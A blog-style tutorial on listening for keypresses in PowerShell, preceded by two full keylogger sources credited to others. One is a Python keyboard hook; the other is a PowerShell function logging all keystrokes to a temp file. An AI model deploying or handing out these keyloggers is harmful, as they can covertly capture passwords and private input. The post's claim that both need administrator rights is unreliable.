Today we start with something new. Listen For KeyPress Using PowerShell. Simple enough. We want to run a script and have it output what we type and how we type it.
What we are going to show you today is not a keylogger. Listen For KeyPress Using PowerShell does not log keys, although it is possible to log the keys pressed using PowerShell or Python, here are two examples of keyloggers, which is not what the script we are learning today.
Python Keylogger – Not my work.
import sys from ctypes import * from ctypes.wintypes import MSG from ctypes.wintypes import DWORD user32 = windll.user32 kernel32 = windll.kernel32 WH_KEYBOARD_LL = 13 WM_KEYDOWN = 0x0100 CTRL_CODE = 162 class KeyLogger: def __init__(self): self.lUser32 = user32 self.hooked = None def installHookProc(self, pointer): self.hooked = self.lUser32.SetWindowsHookExA( WH_KEYBOARD_LL, pointer, kernel32.GetModuleHandleW(None), 0 ) if not self.hooked: return False return True def uninstallHookProc(self): if self.hooked is None: return self.lUser32.UnhookWindowsHookEx(self.hooked) self.hooked = None def getFPTR(fn): CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) return CMPFUNC(fn) def hookProc(nCode, wParam, lParam): if wParam is not WM_KEYDOWN: return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam) hookedKey = chr(lParam[0]) print("Hookedkey=" + hookedKey + ", KeyCode=" + str(lParam[0])) if(CTRL_CODE == int(lParam[0])): print("Ctrl pressed, call uninstallHook()") KeyLogger.uninstallHookProc() sys.exit(-1) return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam) def startKeyLog(): msg = MSG() user32.GetMessageA(byref(msg), 0, 0, 0) KeyLogger = KeyLogger() pointer = getFPTR(hookProc) if KeyLogger.installHookProc(pointer): print("Hook installed") startKeyLog()
PowerShell Keylogger – Not my work.
#requires -Version 2 function Start-KeyLogger($Path = "$env:temp\keylogger.txt") { <# .DESCRIPTION By accessing the Windows low-level API functions, a script can constantly monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger. Run the function Start-Keylogger to start logging key presses. Once you stop the script by pressing CTRL+C, the collected key presses are displayed .NOTES #> # Signatures for API Calls $signatures = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int MapVirtualKey(uint uCode, int uMapType); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); '@ # load signatures and make members available $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru # create output file $null = New-Item -Path $Path -ItemType File -Force try { Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red # create endless loop. When user presses CTRL+C, finally-block # executes and shows the collected key presses while ($true) { Start-Sleep -Milliseconds 40 # scan all ASCII codes above 8 for ($ascii = 9; $ascii -le 254; $ascii++) { # get current key state $state = $API::GetAsyncKeyState($ascii) # is key pressed? if ($state -eq -32767) { $null = [console]::CapsLock # translate scan code to real code $virtualKey = $API::MapVirtualKey($ascii, 3) # get keyboard state for virtual keys $kbstate = New-Object -TypeName Byte[] -ArgumentList 256 $checkkbstate = $API::GetKeyboardState($kbstate) # prepare a StringBuilder to receive input key $mychar = New-Object -TypeName System.Text.StringBuilder # translate virtual key $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) if ($success) { # add key to logger file [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) } } } } } finally { # open logger file in Notepad notepad $Path } } # records all key presses until script is aborted by pressing CTRL+C # will then open the file with collected key codes #Start-KeyLogger
Now that we got those out of the way let us take a look at the script we have today. Obviously, we are not going to go down that road as both of the above methods require administrative privileges. My method does not. That is mostly because it is not logging the keystrokes.
$i =0 while ($i -le 1) { }
What we did here started an infinite loop. We create the $i
variable and assign 0
as a value to it. Then we use a While
loop that is defined as while $i
is less than or equal to
the number 1
do whatever we put inside this script block below.
$key = $Host.UI.RawUI.ReadKey()
Next, we define $key
variable with the $Host.UI.RawUI.ReadKey()
class from .Net
. There is a lot of data in there per keypress, we are only looking for one thing.
if ($key.Character){ }
Here we are saying if $key.Character
is true, evaluating itself if there is data it is true
if there is no data it is false
. So evaluating to true
every time you press a key on the keyboard. As it does evaluate to true
it runs what is inside the script block. What is inside?
$key.KeyCode
Let’s put it all together. The $key.Character will output a lot of information for testing purposes.
#listen for keyboard press and output to text file. $i =0 while ($i -le 1) { $key = $Host.UI.RawUI.ReadKey() if ($key.Character){ $key.KeyCode | out-file -FilePath C:\scripts\keystrokes.txt -Append #$key.Character } }
The | out-file -FilePath C:\scripts\keystrokes.txt -Append
will output each key you press to a text file. Similar to a keylogger. The difference is this only works from within the script.
If you like this you should check out our other highly rated posts:
Initialize an SSH connection and auto-login then auto-run commands